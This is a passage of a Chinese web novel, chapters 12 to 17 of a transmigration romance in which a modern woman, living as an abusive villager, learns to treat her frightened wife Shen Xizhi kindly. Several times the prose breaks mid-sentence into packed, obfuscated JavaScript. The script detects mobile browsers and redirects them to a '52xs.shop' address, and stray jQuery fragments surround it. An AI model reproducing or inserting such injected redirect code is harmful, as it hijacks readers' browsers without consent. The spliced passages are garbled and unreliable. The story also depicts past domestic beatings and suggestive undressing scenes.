沈惜枝面前再次被夹了一筷子菜,眼里热意更甚,接下来对方每给自己夹一筷子,就要给她也夹一筷子,她几乎吃不及了,今日吃的菜已经很多了,吃不完可以留着明天吃呀。 小姑娘这才勉强收拾心情,含含糊糊开口阻止,“妻君,不要了,我够吃了。” 这一说话可叫人听出不对来了。 宋渝归眉心紧皱,不敢相信,又莫名其妙,“你哭了???” 不是,为啥啊?! 12. 第 12 章 沈惜枝眼睫微颤,不慎被看出来,心中莫名涌上难堪丢人的情绪,将头埋的更低了,声音细细小小的,否认,“没,没有。” 宋渝归故意冷脸,“那你把头抬起来我看看。” 沈惜枝身形一僵,脑袋几乎要埋进饭里去。 呵。 “不听话?” 这三个字好像扼住了女子的咽喉,小姑娘犹豫一下,才默默,默默抬眼,怯生生望了她,复又垂眸,眼眶红彤彤的,看起来委屈的不得了。 宋渝归不解,日子明显在往好的方向走,她哭啥呢? 不是,也没人给她委屈受啊,我给了?我给她夹菜夹错了? 越想越不理解,宋渝归脸黑如锅底,“为什么哭,给我一个理由!” 她好像生气了。 她生气是要打人的。 小姑娘心中又开始惶恐不安,雪白的贝齿紧咬薄唇,眼眸水光盈盈,好一会儿,才瑟缩着吐出来几个字,“对,对不起。” 她声音轻软瑟瑟,微颤的眼睫又小心翼翼抬起,偷偷望她一眼,然后迅速低下头。 宋渝归大吃一惊,问你为什么哭你对不起? 我说东你说西? 她更生气,“我问你好好吃着饭你哭啥,你对不起谁呢?” 突如其来的发火更是将人吓了一跳,沈惜枝几乎看见了几日前的宋渝归,身体还对她存有挨打时的反应,一见她生气,就怕的不得了。 偏偏这张嘴却像是锯了嘴的葫芦,死活不肯吐出一个有用的字来。 也没人告诉她大反派是这种扭捏性子啊。 沈惜枝用余光望见她眉心拧的能夹死蚊子,娇弱的身躯又是一颤,瘪了瘪嘴,神色愈发委屈了,眼眶通红,里面浓浓的雾气一眨眼就仿佛要掉下来一连串,叫人想骂她,又怕一狠声就将人骂哭了。 最后只得咬牙问她,“你是不是存心不让我好好吃饭?” 难得吃上肉,前面还高高兴兴的,说话也温柔好听,忽然哭起来了,不能是嫌她筷子脏吧? 她狐疑的低头看了看自己。 没忍住质问,“你是在嫌弃我?” 女子欲落泪的神情一顿,有些慌乱抬眸,她怎会这么想,她是她的妻子,她为何要嫌弃她? 好吧,以前或许有,但现在…… 她不发火不喝酒不鬼混的时候,她怎会嫌弃她! 沈惜枝连忙摇头,一双大眼睛扑闪扑闪的,叫人格外心软。 “那你到底哭什么?” 宋渝归耐着性子,但看起来还是比较凶巴巴。 小姑娘不敢再沉默,生怕她等会儿生气了就要打人,打人可疼了。 于是扁了扁嘴,小心翼翼道,“我是高兴。” 宋渝归:? 高兴? 喜极而泣? 你疯啦? 她脸色复杂,见人捧着碗乖巧认真的样子,也猜到她是在高兴什么了。 无非是能吃上肉。 但这也值得喜极而泣? 不能理解。 她望了小姑娘许久,才缓下脸色,“高兴就高兴,哭什么,我还以为是我又如何对不起你了呢。” 沈惜枝咬唇,止住哭色,仍旧轻声细语的,“本来没想让你知道,是你问我。” 宋渝归眉毛一挑,“所以怪我咯?” 她哪敢有这个意思。 于是又连忙摇头,将脑袋摇的拨浪鼓一般。 可爱。 “行了,吃吧,一会儿菜冷了就不好吃了。” 加猪油炒的自然得趁热吃。 她声音缓和下来。 叫人也少了几分担忧,不打人,今天妻君心情好,不打人的。 “嗯嗯。” “多吃点。” 她又埋头吃起来,若两人坐的近,宋渝归甚至想伸手替她撩一撩头发,偏偏她们坐在对面。 “已经要吃不完了,妻君别给我夹。” 她第一次吃的这样饱,胃里都有些鼓胀难受,但又不想浪费,想努力吃完碗里的,宋渝归见她小脸皱巴巴的,好似十分苦恼,还有点不信。 就这一小碗米饭,配上丁点儿菜就饱了? 那胃口跟小猫似的了。 她口中说着,“我看看。” 然后在人怔愣之时便走过去,抬手摁了摁女子柔软的小腹,直摁到一块微微凸起,才将手收回去。 念叨,“还真饱了,饱了就先不吃了,以后每餐都多吃一点,慢慢胃口就大起来了。” 她好似对胃口大这件事很有执念,一直念着。 可沈惜枝不解,长睫垂下,覆住眼底情绪,“为何要让胃口大起来,胃口小不好吗?” 胃口小,吃的也就少,能省很多口粮呢。 别家都喜欢胃口小的,怎偏偏就她不一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14115647|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 宋渝归脸色一肃,十分不赞同,“胃口小有什么好的,你的胃口又不是天生这么小的,是饿出来的,人长时间挨饿会生病,也胖不起来,胖乎乎的才健康。” 虽然古代没有体检,但她也能一眼看出沈惜枝营养不良,长得也不高,一米六左右的样子,原主倒是营养挺足的,足有一米七。 “可是大家都觉得瘦一点好看。” 沈惜枝抿唇,继续道。 旁人怎么想的宋渝归才不在意呢,她缓缓道,“我就喜欢胖一点的,不喜欢太瘦。” 沈惜枝了然,怪不得一直不喜欢我,总打我,欺负于我。 我根本不是她喜欢的模样。 可既如此,又为何要娶我回家? 她不明白。 “好了,吃完就站起来,跟我一起出去走走,别撑着睡觉。” 这样对身体也不好,饭后百步走活到九十九听过没有? 沈惜枝听是没听过的,但她也没问为什么不要撑着睡,只是乖乖听话,只要不打她,几乎是让她做什么,她都会照做。 宋渝归心尖儿再度软的不成样子,抬手扶着人,让她撑着自己的手站起来。 沈惜枝眉目柔怯又温顺,她其实是艳丽的长相,只是这股瑟瑟压下了容貌的美艳。 “以后吃完也要出来走走。” 这样人才能养的健康一些。 这等小事,她根本无所谓自己愿不愿意喜不喜欢,便低声答应。 两人一块儿行至坡下,遇到今日见过面的李大娘,李大娘也是从附近村子嫁过来的,自觉同沈惜枝惺惺相惜,平日里待她就不错。 宋渝归开口谢过她借了自己一颗白菜,她也挥挥手让她们不用在意。 “邻里邻居互相帮忙本也是应该的,你们家就两个女子,也是可怜。” 宋渝归倒不觉得自己可怜,如果家里再多个爹娘出来她才是真要炸了,就她们两个还简单一些。 但她也知道对方是好意,关心,便没说什么反驳的话,含笑点点头,又拉着沈惜枝,“去那边走走。” “嗯。” 沈惜枝什么都听她的,叫去哪就去哪,一直跟在身侧。 接近十五的月色很亮,足以将路照明。 前面似乎有什么人在吵闹,宋渝归带着身侧妻子走近,却骤然听到拔高的一声,“宋星川!” 整个人愣住了。 13. [锁] [此章节已锁] 宋星川…… 一听到这个名字,宋渝归仿佛所有理智都回归了,原本拉住沈惜枝的手也骤然松开。 差点忘了小说里其他剧情…… 宋星川,小说男主,也或许是反派在书中唯一动过真心的人。 她望向人群中,那男子模样高大,长得也十分俊朗,神色气质却有些憨厚老实,被女子追在身后抱怨,“我叫你呢,你怎也不等等我?” 宋星川挠了挠后脑勺,很有几分老实道,“我要回去了,没空等你。” “哎,你这人……” 宋星川说完也不管她接不接受,扭头便走,毫不留情,差些撞上还在一旁呆愣的宋渝归。 宋渝归下意识退后半步,给他让出一条路来,却不想对方看了她一眼,竟停下了。 神色间犹豫了好一会儿,居然喊她,“堂姐。” 宋渝归:惊! 她左右看了看,这边除了刚追上来的女子,只有自己与沈惜枝了。 她在唤我? 没人告诉我男主和炮灰还是堂姐妹关系啊! 不是,这你还对大反派动心,人家是你堂嫂,你要不要脸? 宋渝归恍惚想起,小说里男主母亲发现他与反派来往有些密切,警告他时说,“沈惜枝是谁的妻子你忘了?别给你父亲蒙羞。” 或许这句话不是介意沈惜枝孀寡,而是……这是他堂姐的妻子。 杀千道的,早该想到的,一个村子都姓宋,那肯定是沾亲带故啊! 宋渝归嘴角抽了抽,有点笑不出来,但面前还站着男主,她勉强笑了笑,“堂弟。” 宋星川身后追赶的女子一见到宋渝归就老实了,躲在暗处一句话也不敢说。 宋渝归用0.01秒猜出,她是怕被女同性骚扰。 该死的原主。 “我,我先回去了。” 他看起来只是想跟宋渝归打个招呼,说完就走,跟在身后的女子自然也立马跟上他走了。 等两人走后宋渝归又发觉不对,怎么只叫了我,不叫堂嫂吗? 她回头看看自家反派,她正垂着双眸,露出修长雪嫩的脖颈,面孔漂亮柔弱,很显眼啊,为何不叫,难道这么早他就对大反派有想法了所以不愿喊她嫂子? 宋渝归眉心越皱越紧。 沈惜枝表面低头,实则一直偷偷抬眼去看人。 不高兴了吗,是不是不高兴了呀。 为什么不高兴,我很听话啊,难道是看上了方才那男子身边的女子? 想到这儿,小姑娘两道弯弯的细眉也皱起来,怎,怎这般花心,今日喜欢这个明日喜欢那个的,磨镜都如此花心吗! 哼。 “沈惜枝……” 她忽然唤了大反派的名字。 连名带姓,十分认真。 沈惜枝本人艳若桃花的小脸上瞬间沾染惊惶,不懂短短片刻,她难道又做错了什么吗? 直到对方问她,“你觉得方才的男子如何?” 沈惜枝一愣,“什,什么如何?” 她没听明白宋渝归想问什么,别人如何跟她有关系吗? 宋渝归见她不解,耐着性子解释,“我说,你觉得刚刚那男的人怎么样?” 沈惜枝神色愈加怪异,只见过一面,她怎么知道对方人怎么样? 就是猜也猜不出来啊。 但……那人既唤堂姐,应该是妻君的亲戚吧,她一个外嫁女,怎能说妻君亲戚不好。 沈惜枝偷偷在心中思量过了,再抬头时便十分自信,声音仍旧轻声细语的,“他眉目宽阔,身姿挺拔,我觉得应该是个很好的人。” 宋渝归:? 不是,你观察这么仔细? 而且什么叫身子挺拔眉目宽阔人就很好啊,你外貌协会? 完蛋了,反派还没成寡妇呢,就已经和男主看对眼儿了,她不能提前弄死我吧? 宋渝归心高高提起,脸色也难看不少,更叫人惴惴不安。 沈惜枝说完话后就没有得到回复,难免惶恐,担忧自己的答复不是对方想要的。 可,可她不是夸他了吗? 难道不该夸? 寂静深夜,周围的人走过一圈渐渐都回去了,广袤的田野之上仿佛只站了她们。 沈惜枝期期艾艾抬眸,窥见她眼底的冷意,于是,倏地将头低回来,不敢再看她一眼。 好凶。 她总是这么凶。 明明应该习惯的,可这几日她都没有凶,方才骤然凶起来,她又被吓到了。 冷风一阵接一阵吹过来,把昏沉的大脑都吹清醒了。 不对,她和原主不一样,小说里反派也是被逼到极致了,才会做出杀妻的事,她对她没那么差,应该不会的…… 大不了,她努力点挣钱,把人身体养好,再多分她一点钱,早日和离好了。 小命攥别人手里的日子她是一天也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14129513|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过不下去了。 “走吧,回家睡觉。” 散步也没心情,干脆回家躺躺,安慰自己看见男主受惊的心灵。 沈惜枝听她说什么就做什么,整个人踟蹰不安的跟在她身后走,眼里既是这几日的温柔,又是从前被打时痛苦的呜咽,跪坐在床榻上脱衣服的手都抖起来了。 怎么好端端又不高兴了呢,那还会像之前一样不让她好过吗? 陈旧的衣裳从雪白滑腻的肌肤上滑落…… 自知道宋渝归喜欢她脱衣服睡觉后,她就不用人说,一上床便主动去了全身衣物,光着身子坐在榻上。 屋内说不上多暖和,她又冷又不好意思,便用素白纤长的手指抓住一点点被角,小心翼翼拉过来,只浅浅遮住胸口,雪白清晰的锁骨仍露在外头。 宋渝归累了一天,在外随便擦洗两下身子,着里衣回来睡觉,沈惜枝后背几乎贴着床壁,将大半的位置都让出去了,眉目温顺乖巧,偶尔偷偷的看她,似乎想知道她还生气吗? 可视线一触及对方微冷的神色,又逃也似的赶忙收回去。 红唇被雪白的牙齿咬住,咬出一排整齐牙印来。 她搞不明白,明明好好的,怎么问了她一个问题,就忽然不高兴起来了? 为什么不高兴啊…… 小姑娘垂首皱眉,思来想去,觉得是自己当时夸的不对。 宋渝归躺到床上,身侧人磨磨蹭蹭也跟着躺下,她随手便揽住记忆里光.裸滑嫩,手感极好的纤细腰肢,摸了两把,掌心白软皮肉便开始小幅度的发颤,她缩着脖子,将头埋进她怀里。 炙热的呼吸通过单薄里衣,完全被另一人感知到。 宋渝归本想睡觉,但胸口热乎乎,她莫名又睡不着了,深吸一口气,想叫怀里人别呼吸了。 可这未免有点强人所难。 只得放弃,又吐出一口气。 再深吸一口气,想叫她离远点呼吸。 可她已经习惯了抱着东西睡觉。 只好再将那口气吐了,蔫巴巴的继续抱着人,鼻尖净是女子身上好闻的暖香。 好一会儿,怀里忽然探出一颗脑袋,柔顺的乌发从她身上落下来,不自觉滑到人衣襟里,沈惜枝手肘撑着床,咬着唇瓣,神色却十分认真,“妻君,我仔细想过了,那男子对与他同行的女子无礼,想必不是什么好人,妻君少和他接触。” 说完后眸光又有些忐忑,我这样答,对了吗? 14. 第 14 章 宋渝归没想到小妻子竟一直在想这个,睁开半天没睡着的眼睛,揽着她的手紧了紧,眸光讶然,很快又笑了。 “你觉得宋星川不是什么好人?” 沈惜枝腰被人搂的有些难受,不自觉扭了扭,身子下意识凑近她怀里。 又滑又嫩,在人衣服上肆意磨蹭,见她脸色不再带着冷意,胆子便也大了,讨好一般一点点将自己窝进她怀里,只剩一颗脑袋仰着与她说话,“嗯嗯,他,他颇为无礼,私下一定不是什么好人!” 沈惜枝信誓旦旦。 宋渝归面色稍缓。 男主毕竟是女主的,和女主抢男人的女人都统称为恶毒反派,沈惜枝最好还是不要喜欢男主,如果喜欢男子的话……世上男子也多的是。 何必揪着那一个喜欢。 宋渝归想着,渐渐将怀里人搂紧了,温声道,“嗯,你既觉得他不是好人,日后就少与他来往,别搭理他。” 沈惜枝一愣,没有继续放松下去,小脸唰一下白了,什么意思,她又怀疑我与别的男子有染? 她怎么总这样,我整日在家里,能同谁有染? 小姑娘无端被污名节,心里委屈的要命,眼眶不知不觉就红了,在浓黑的夜色里瞪她一眼,然后闷声闷气钻进宋渝归怀里,又不敢骂她,只能默默抱紧了她。 怎么可以这样,总是怀疑她会去找别的男人,她,她又不是什么浪荡娼妇,没有男人就活不了! 怀里人情绪低落,宋渝归没有察觉,反而自己得到另一个答案后心情好了,哄小孩般在她后背上轻拍了两下,“睡觉,我明日早点起,先割点猪草再去镇上。” 她昨日忙着找活干,忘了大反派的柔弱,都没给猪加餐,这猪叫她来养,一天得瘦两斤。 沈惜枝瘪着嘴,心想,她还不让我干活了…… 莫不是很嫌弃我? 以往若是能松快一点,她自然是极高兴的,只今日…… 说不出哪儿不舒坦。 夜晚寒凉,她的腿一离人远点就开始犯冷,只得磨磨蹭蹭蹭过去,紧贴着对方的腿。 一双腿纤长笔直不着一物,光滑柔软,一双腿裹着单薄里裤,被靠近了,干脆便□□,将暖不起来的另一双玉腿夹进去暖。 她整个人都在她怀里了。 宋渝归没有这种意识,伸长手臂往她后背摸,见没有漏风处便安心的搂着她睡了。 倒是沈惜枝,清楚的意识到,自己在她怀里了,被她紧紧抱着了,没有疼痛与凌虐,耳边是安静的风,她下巴抵着她脑袋,呼吸均匀。 这是以前绝不可能出现的事。 熟悉的酒臭味消失不见,取而代之的,是淡淡的清香,说不清什么味道,就是洗干净了的味道。 小姑娘抿了抿唇,心里还是不大高兴,谁被妻子误会与旁人有染能高兴啊…… 睁着大眼睛偷偷骂了人许久,她才将那股怨气勉强出出去了,渐渐感到困意,阖上眼眸在她怀里睡去。 第二日,宋渝归果然醒了个大早,此时天色并不明亮,昏昏沉沉的,蒙着一层白雾,睁眼也不困难,她撑着床板勉强坐起身,察觉手臂沉甸甸的,低头看才发现自己神志不清连怀里人一块儿抱起来了,怀里发出不满的小声哼哼,她紧张极了,连忙揽着她的肩膀,小心翼翼把人放回床上好好躺着。 垂眸望着那身雪白樱红的皮肉,随后扯过薄被,轻飘飘落在她身上,四周的角都紧紧掖到她身下,将她整个包裹起来。 嗯,小姑娘又不上班,没必要起这么早,可以再睡会儿。 古代也没啥好玩的,手机电脑都没有,她能打发时间的事少的可怜,每天吃完饭只是随便散散步就睡觉,早起也有精神。 拿了背篓和镰刀就精神奕奕的去割猪草。 与她同路的几个村里男子,不像女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈惜枝一见到她,脸色下意识流露出几分怯意,身子微微后退,但又迅速收回去,变成面无表情,面无表情的生火。 宋渝归缓缓:? 从昨夜到今日,她总算看出沈惜枝有些不对了,皱眉上前,“你怎么了?一大早起来就心情不好?” 谁又惹她了? 沈惜枝垂眸,“没怎么了,我煮了粥,妻君一会儿喝点再走吧。” “哦。” 对方说没什么,她就不知道怎么问了,干巴巴答应一声,皱着眉将人上上下下,前后左右都打量一遍。 怎么情绪不对了呢……看起来就冷冰冰的。 见惯了小姑娘怯生生的样子,骤然冷淡下来,她还挺不习惯的。 “你到底怎么了,有谁欺负你了?” 宋渝归见她一直闷闷不乐,没一会儿还是忍不住问。 沈惜枝咬了咬唇,看了她一眼,回头生火,片刻又看她一眼,然后继续生火。 如此反复,终于叫人觉察出不对来了。 宋渝归食指指着自己,满脸不可置信,“我欺负你了?” 前一秒她还想着谁欺负大反派了,她定要帮大反派出头,现在只觉得大反派无理取闹! 我兢兢业业割草养猪,赚钱养家,怎么就欺负你了?! 胡言乱语胡说八道! 生气。 宋渝归怒目瞪她。 沈惜枝见她生气,又害怕起来,只敢望她一眼,然后慌张的垂下眼眸,抿了抿红唇,轻声道,“我没有这么说。” “呵,但你是这个意思。” “我不是,我没有。” “你没有你看我做什么,还冲我摆冷脸!” 宋渝归言语间都颇为愤愤不平,说完这句话后还想说点什么,却被对方急急忙忙打断,“粥好了,我给你盛一碗。” 刚刚冷脸,现在又主动,宋渝归狐疑,“你不会想给我吃夹生粥把我毒死吧?” 沈惜枝:…… 不怪她想的多,也不知道原著里大反派是什么时候开始对原主下杀心的,她得警惕点啊。 “妻君,喝夹生粥死不了人的。” 她没忍住,闷声回复。 而且她杀她做什么? 杀人是要偿命的,她一个柔弱女子,怎么敢做那种事? 宋渝归听说死不了,心才放下去一点,应了一声,嘴里嘟嘟囔囔,“我又没惹你,真不知道你好端端生什么气。” 在她眼里,仿佛莫名其妙的是她,错是她犯的。 才不是呢。 沈惜枝眼眸幽深,握着勺柄的手指越发用力,指节发白,又舀了一勺并不浓稠的汤水,终是没忍住,将那大粥勺往锅里一扔,粥汤四溅,给宋渝归都吓精神了。 “怎,怎么了又?” 我就说她情绪不对!她还不承认!!! 宋渝归瞪她,小姑娘也想瞪她,但她不敢,只能咬了咬唇瓣,偏过头,语气带着几分委屈般为自己辩解,“我既嫁与你,就不会做那等辱没自己名声的事!” 宋渝归一愣,嗯? 说什么呢,谁说她会做了? 我也没说啊。 “你,你在胡言乱语?” 宋渝归缓缓皱眉,盯着她问,甚至想摸一下她有没有发烧。 沈惜枝更生气了,没瞪她,倒是难得如寻常小女孩般跺了一下脚发泄,“才不是胡言乱语,是你觉得我会做出水性杨花的事!” “我不是我没有,我从来没说过,你别以为什么事都能按在我身上啊!” 宋渝归目光警惕,好像沈惜枝要如何陷害她一般。 更把人气的狠了。 “你昨晚怀疑我与你堂弟有染。” 那声音里带着一股浓厚的委屈,几乎要将人淹了。 她站在委屈里,微红着一双眼睛看她。 像每个被污蔑清白却无处申诉的女子一样。 这番话犹如一把大铁锤,把宋渝归砸的晕头转向,她半点不明白,自己什么时候说过这种畜生话了? 她又不是原主! 脸皮抽了抽,再度没忍住,她抖着嘴唇骂,“你放屁,我何时说过怀疑你与我堂弟有染?” 小说里两人确实有些暧昧,但现在还没到这情节呢!她怎么会这么说?而且就算真到这情节了,她与沈惜枝也早已和离,有没有染关她屁事! 沈惜枝张了张口就要反驳,忽然一愣,发现,她真没有直白的说过怀疑她与别人的话,是她自己听出来的。 小嘴张了又合,合了又张,最后愤愤道, “你就是这意思!” “我不是这意思,是你自己想错了。” 不关她的事她坚决不认,本来给原主背的黑锅就够多了,绝不能再容忍莫须有的罪名。 一双眼睛认真的看着沈惜枝,小姑娘咬牙,将刚盛好的半碗粥放到她面前,生气离去。 宋渝归:? 什么意思,以前我能喝两碗,今天只给喝半碗? 哼,半碗就半碗,我还不稀罕呢。 她直接忽略掉自己也能盛粥的事。 粥是沈惜枝煮的,米是沈惜枝买的,她吃多少当然也是沈惜枝说了算,哼,不给吃就不给吃。 宋渝归气呼呼端着半碗粥来到破旧的木桌前,桌子上只放了一叠小菜,是昨日没吃完的五花肉炒白菜。 沈惜枝坐在一边,脑袋被冷风吹了吹,终于清醒了。 又见她很不高兴的样子,心中逐渐惶恐起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她双手环胸,清明的眼睛望着她,明明还有点气,但看着沈惜枝气势不再,越来越胆小害怕的模样,再多气也发不出来了,只能默默扭头。 沈惜枝抿唇,好不容易才想明白,这是在与她解释,解释她真的没有那个意思。 她尚在犹豫中,不知该不该信她,宋渝归看一眼天色,装作不耐烦的皱了皱眉,撂下一句话,“以我的性子,若真疑心你,昨晚就要闹出来了,何必忍到现在,我先去镇上了,你若还生着气,等我晚上回来再说。” 说完,特意走过去,报复性将人乌黑柔软的头发揉的乱成一团,“粥记得喝,不许给人洗衣服,走了。” 很好,很符合原主人设。 女子转身大步离去,心里还有点生气,但她明白不能再对着大反派发作了,不然今晚回来就要被毒死。 沈惜枝愣愣坐在原处,看对方逐渐远去的背影,还是没有反应过来,解释,亲近,关切,竟在同一日发生了。 宋渝归说的对,以她的性子,若是心里当真如此想,早把她打的半死不活了…… 她未曾生气打她,是她误会了。 小姑娘心间惴惴,漂亮的眼眸盛满忐忑,她误会了她,是不是惹她生气了? 16. 第 16 章 今日酒楼又招了一名小二来帮忙,也是女子。 对方冲宋渝归打招呼,“我叫沈翠,也是乡下人,多多关照啊。” 宋渝归微微点头,与她互相交换姓名,“宋渝归。” “你叫宋渝归?你的名字好耳熟,是隔壁宋家村的?” 她这样说,宋渝归就想起来了,她姓沈,莫非与大反派是一个村子的? “嗯。” 趁着一大早上没什么客人,沈翠在打扫酒楼的间隙便拉着宋渝归问,“哎,对了,听闻你们村有个磨镜,还娶了我村里沈大家的妹妹,你可认得她?” 宋渝归擦桌子的动作一顿。 面色不自觉露出几分尴尬,大约,好像,村里就她这一个磨镜吧? 那说的,应该是她了。 宋渝归艰难点头,“认得。” “那女子怎么样啊,我听人说她对我们村的女人不好哩,天天打骂她,沈大家的也不管一管。” 沈翠明显面露鄙夷。 宋渝归:…… 虽然这是事实,但都是原主做出来的孽,今天我就要,为自己正名! 她毫不犹豫道,“假的,她对自己的妻子很好,只会偶尔拌两句嘴,从不打人。” 沈翠一愣,显然是第一次听到这样的话。 还有些不信,“她对自己的妻子……很好?” “可是她不是个小混混特别喜欢调戏良家妇女吗?” 宋渝归面无表情继续挽救自己的名声,“她已经改邪归正,现在找了份工干,没有继续当小混混了。” “哦……” 沈翠半信半疑,拿着抹布去擦另一张桌子。 过一会儿,掌柜的兰香从后厨出来了,宋渝归见着她,握抹布的手紧了紧。 她想好了要问掌柜预支工钱来着,没办法,家里实在穷的揭不开锅了,但心里其实很不好意思,自己从小就没咋缺钱,刚实习找工作的时候手头也很宽裕,没有向上司提出过预支工资的要求,因为这个要求在她看来还挺无礼的,谁知道她会不会做满一个月?万一携工资跑路呢? 可现在,她自己也要为生活所迫,提出这个要求了。 小脸红了一片。 掌柜的兰香是来看大堂打扫的干不干净的,别耽误了客人用餐的时辰,然而刚从小二身边走过去,就被小二犹豫的叫住了。 “掌柜姐姐。” 听她唤自己姐姐,掌柜不由抬起扇子掩唇笑了,“小丫头,我记得你是叫渝归?喊姐姐什么事,可是有何处规矩不明白?” 酒楼自然也有酒楼的规矩,她只当这新来的姑娘年纪轻,听不懂规矩。 宋渝归努力压下心里紧张的情绪,十分不好意思低头道,“不是的,楼里的规矩我都明白,只是,只是我有个不情之请。” 兰香惊讶,说话还文绉绉的,读过书? 既读过书,怎不去给人写信,那可比做小二的辛苦活儿要轻松多了。 她哪知道宋渝归对古代的字一窍不通,看她时满眼好奇。 声音也温和的很,“什么请求,说来听听吧。” 宋渝归一鼓作气,抬眸认真道,“姐姐可以让我预支半个月工资吗,我,我家中……” 她挠了挠后脑勺,抿唇道,“我家中无银钱了。” 兰香一愣,“你是说支半月的工钱?” “啊,对对对,是工钱。” 兰香大气一笑,挥挥扇子,“我当是什么事呢,只是支半月的工钱罢了,这有什么不行的。” 宋渝归一呆,反应过来后连忙道谢。 兰香抬抬下巴,“好了,快去忙吧,一会儿再上雅间擦一遍。” 雅间是给那些有钱人单独的包间,要求最严了。 宋渝归点点头,立马又投身入繁忙的工作中。 直到天色暗了些许,才从酒楼走出来,带着自己预支的一百五十文。 身边跟着隔壁村姑娘沈翠。 她非说她俩顺路,要与她一同回去。 宋渝归拒绝不掉,也随便她了。 “哎,你去哪啊,回村的路在这边!” “嗯,我知道,我去买点东西,你要是等不及你就先回去吧。” 宋渝归头也不回道。 “哎呀,你别啊,我一个人回家有点怕,一起回去嘛。” 沈翠小跑追上,只见宋渝归停在一家点心铺子前,抬手指着糕点, “嗯,就要这个马蹄糕吧,包两块,再来点云片糕。” “哎,好嘞,一共十八文,姑娘您拿好。” 沈翠在后头惊讶的张大嘴,等宋渝归接过糕点后连忙凑上去问她,“怎要十八文,也太贵了吧,抢钱啊,这你都舍得买?” 一边说,一边盯着宋渝归手里的糕点,咽了咽口水。 糕点是精致物,向来只有家境富足殷实的人家才会买,她从来没吃过。 “银子没了再赚便是,有什么好舍不得的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14168465|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 家里还有个生气的大反派呢,若不抓紧哄好,明日她家许就要办丧事了。 宋渝归深吸一口气,半点不敢赌大反派的善心。 沈翠从来没听过这样洒脱,视金钱如粪土的回复,顿时更惊了,眼珠子睁得又圆又大,“你,你赚的银子不用交给父母吗?” 她眼神更加羡慕,像他们这种人家,赚的银子应该都交给父母,再由父母分配一人能用多少,哪舍得这样随意花啊。 宋渝归诧异抬眸,“我赚的钱为什么要给父母?” “呃” 沈翠很难想出有人能问这样的问题,嘴角无助的扯了扯,失魂落魄,“因为父母生你养你,于你有恩。” “啊,这确实,那你给也行,我父母没问我要过。” 她家境还行,全靠老父亲杀猪赚得多,从小衣食无忧,长大后家里还给她塞钱呢,她也尝试过回馈家里,但都被以年轻人辛苦论,多吃点好的给回绝了。 “不过也不必全交吧?全交了你用什么啊。” 宋渝归皱眉。 沈翠心如死灰,同为乡下人居然有人过得这么舒坦! “父母会每月给我一些。” “多少?” “三十文。” 宋渝归:…… 一句神经病差点没压住。 “呵呵,你高兴就好啦。” 赚三百文给三十文?这日子要是我过,我立马跳河去。 但别人的生活,她不想干涉太多。 沈翠幽怨的看着她。 她本来接受这种生活的,如果不知道宋渝归的生活。 . 天色已晚,村里处处升着炊烟,她忙碌一日也早饿了,在村口和沈翠分别后便快步往家走去。 小土坡上的院落,沈惜枝正坐在院子里,膝上放着一件衣裳,低头缝缝补补,模样恬静安然。 宋渝归见到她还有些紧张,不知她一日过去,消气了没。 但她本来也没错啊,难不成硬要她认错? 她错哪了,让反派离男主远点也没问题啊。 正发愁想着怎么哄人,那边沈惜枝已经发现了她。 眼睛登时一亮,她,她本就在等妻子回来。 晨时误会了妻子,惹了她不悦,需得好生道歉认错才是。 因此,宋渝归还没走进自家院子,便听见一道软里透媚的声音,“妻君,你回来了。” 宋渝归:惊! 17. 第 17 章 沈惜枝如寻常翘首期盼夫君归家的女子一般,一路小跑过来,一头扎进宋渝归怀里。 紧紧抱着她。 声音娇媚动人,“妻君~” 宋渝归不敢相信四肢僵硬,低头瞪着怀里人,不知该做何动作。 有务农的男子扛着锄头从山上走下来,见了宋渝归正要打招呼,一个渝字便卡在嘴边。 瞪大眼睛也似不可置信一般望着她们。 宋渝归同男子对视,更是不自在极了,偏偏怀里人还一无所知,在她脖子上亲昵的蹭了蹭。 被人忍不住拍了拍细软小腰,“别,别闹了,还有人在呢。” 沈惜枝:? 什么有人。 小鹿似圆溜纯净的眼眸浮上几分茫然,一扭头竟看见一中年男子就站在不远处,向她们抬着手,欲言又止。 